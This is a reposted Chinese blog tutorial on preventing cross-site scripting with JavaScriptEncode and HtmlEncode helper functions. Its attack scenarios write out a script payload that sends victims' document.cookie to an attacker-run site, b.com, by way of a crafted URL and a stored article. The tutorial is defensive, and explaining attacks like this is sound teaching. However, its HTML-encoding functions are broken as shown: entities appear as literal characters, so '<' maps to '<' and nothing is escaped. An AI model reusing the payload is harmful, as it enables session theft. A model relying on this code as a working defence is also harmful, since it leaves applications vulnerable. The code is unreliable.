预防XSS方法:HtmlEncode和JavaScriptEncode(转)
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS测试</title> </head> <body> 页面内容:<%=request.getParameter("content")%> </body> </html> |
我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
场景二:
a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
在数据添加到DOM时候,我们可以需要对内容进行HtmlEncode或JavaScriptEncode,以预防XSS攻击。
JavaScriptEncode
使用“\”对特殊字符进行转义,除数字字母之外,小于127的字符编码使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。
//使用“\”对特殊字符进行转义,除数字字母之外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。 var JavaScriptEncode = function(str){ var hex=new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); function changeTo16Hex(charCode){ return "\\x" + charCode.charCodeAt(0).toString(16); } function encodeCharx(original) { var found = true; var thecharchar = original.charAt(0); var thechar = original.charCodeAt(0); switch(thecharchar) { case '\n': return "\\n"; break; //newline case '\r': return "\\r"; break; //Carriage return case '\'': return "\\'"; break; case '"': return "\\\""; break; case '\&': return "\\&"; break; case '\\': return "\\\\"; break; case '\t': return "\\t"; break; case '\b': return "\\b"; break; case '\f': return "\\f"; break; case '/': return "\\x2F"; break; case '<': return "\\x3C"; break; case '>': return "\\x3E"; break; default: found=false; break; } if(!found){ if(thechar > 47 && thechar < 58){ //数字 return original; } if(thechar > 64 && thechar < 91){ //大写字母 return original; } if(thechar > 96 && thechar < 123){ //小写字母 return original; } if(thechar>127) { //大于127用unicode var c = thechar; var a4 = c%16; c = Math.floor(c/16); var a3 = c%16; c = Math.floor(c/16); var a2 = c%16; c = Math.floor(c/16); var a1 = c%16; return "\\u"+hex[a1]+hex[a2]+hex[a3]+hex[a4]+""; } else { return changeTo16Hex(original); } } } var preescape = str; var escaped = ""; var i=0; for(i=0; i < preescape.length; i++){ escaped = escaped + encodeCharx(preescape.charAt(i)); } return escaped; }
HtmlEncode
将字符转换成HTMLEntites,以对抗XSS。
var HtmlEncode = function(str){ var hex = new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); var preescape = str; var escaped = ""; for(var i = 0; i < preescape.length; i++){ var p = preescape.charAt(i); escaped = escaped + escapeCharx(p); } return escaped; function escapeCharx(original){ var found=true; var thechar=original.charCodeAt(0); switch(thechar) { case 10: return "<br/>"; break; //newline case 32: return " "; break; //space case 34:return """; break; //" case 38:return "&"; break; //& case 39:return "'"; break; //' case 47:return "/"; break; // / case 60:return "<"; break; //< case 62:return ">"; break; //> case 198:return "Æ"; break; case 193:return "Á"; break; case 194:return "Â"; break; case 192:return "À"; break; case 197:return "Å"; break; case 195:return "Ã"; break; case 196:return "Ä"; break; case 199:return "Ç"; break; case 208:return "Ð"; break; case 201:return "É"; break; case 202:return "Ê"; break; case 200:return "È"; break; case 203:return "Ë"; break; case 205:return "Í"; break; case 206:return "Î"; break; case 204:return "Ì"; break; case 207:return "Ï"; break; case 209:return "Ñ"; break; case 211:return "Ó"; break; case 212:return "Ô"; break; case 210:return "Ò"; break; case 216:return "Ø"; break; case 213:return "Õ"; break; case 214:return "Ö"; break; case 222:return "Þ"; break; case 218:return "Ú"; break; case 219:return "Û"; break; case 217:return "Ù"; break; case 220:return "Ü"; break; case 221:return "Ý"; break; case 225:return "á"; break; case 226:return "â"; break; case 230:return "æ"; break; case 224:return "à"; break; case 229:return "å"; break; case 227:return "ã"; break; case 228:return "ä"; break; case 231:return "ç"; break; case 233:return "é"; break; case 234:return "ê"; break; case 232:return "è"; break; case 240:return "ð"; break; case 235:return "ë"; break; case 237:return "í"; break; case 238:return "î"; break; case 236:return "ì"; break; case 239:return "ï"; break; case 241:return "ñ"; break; case 243:return "ó"; break; case 244:return "ô"; break; case 242:return "ò"; break; case 248:return "ø"; break; case 245:return "õ"; break; case 246:return "ö"; break; case 223:return "ß"; break; case 254:return "þ"; break; case 250:return "ú"; break; case 251:return "û"; break; case 249:return "ù"; break; case 252:return "ü"; break; case 253:return "ý"; break; case 255:return "ÿ"; break; case 162:return "¢"; break; case '\r': break; default: found=false; break; } if(!found){ if(thechar>127) { var c=thechar; var a4=c%16; c=Math.floor(c/16); var a3=c%16; c=Math.floor(c/16); var a2=c%16; c=Math.floor(c/16); var a1=c%16; return "&#x"+hex[a1]+hex[a2]+hex[a3]+hex[a4]+";"; } else{ return original; } } } }
Test
<button onclick='alert("1\x29\x3balert\x282\u54c8\u54c8\x29")'>测试JavaScriptEncode值</button> <div><script>alert('1哈哈' /);</script></div>
这些编码后的内容都能在页面上显示正常。
番外
还有人弄了简单HtmlEncode,有两种方式。
1. 用浏览器内部转换器实现html转码(但我觉得这种方式有风险的,因为内部转换器可能有漏洞)。
2. 只转一部分html字符(这种方式不完整)。
var HtmlUtil = { htmlEncode:function (html){ var temp = document.createElement ("div"); (temp.textContent != undefined ) ? (temp.textContent = html) : (temp.innerText = html); var output = temp.innerHTML; temp = null; return output; }, htmlDecode:function (text){ var temp = document.createElement("div"); temp.innerHTML = text; var output = temp.innerText || temp.textContent; temp = null; return output; }, htmlEncodeByRegExp:function (str){ var s = ""; if(str.length == 0) return ""; s = str.replace(/&/g,"&"); s = s.replace(/</g,"<"); s = s.replace(/>/g,">"); s = s.replace(/ /g," "); s = s.replace(/\'/g,"'"); s = s.replace(/\"/g,"""); return s; }, htmlDecodeByRegExp:function (str){ var s = ""; if(str.length == 0) return ""; s = str.replace(/&/g,"&"); s = s.replace(/</g,"<"); s = s.replace(/>/g,">"); s = s.replace(/ /g," "); s = s.replace(/'/g,"\'"); s = s.replace(/"/g,"\""); return s; } };
- JavaScript基础知识整理
- 回看JSP——解决提交form表单出现的乱码问题
- JSP注释格式
- yeoman-bower-grunt之间的关系
- js实现ajax
- 基于ntkoocx.js的在线word编辑
- js中eval() 方法的使用以及一些特殊的使用方式
- redux源码分析
- javascript中数组的22种方法
- js中几种实用的跨域方法原理详解
- 关于 json解析过程中的一个问题的解决
- js学习第一天
- 我对JS的继承的理解
- 解析Javascript事件冒泡机制
- 使用IPostBackEventHandler让JavaScript“调用”回传事件
- JavaScript 笔记四
- JavaScript 基础笔记三
- js splice数组拼接函数详解
- Jsonp
- [Javascript] Use Number() to convert to Number if possilbe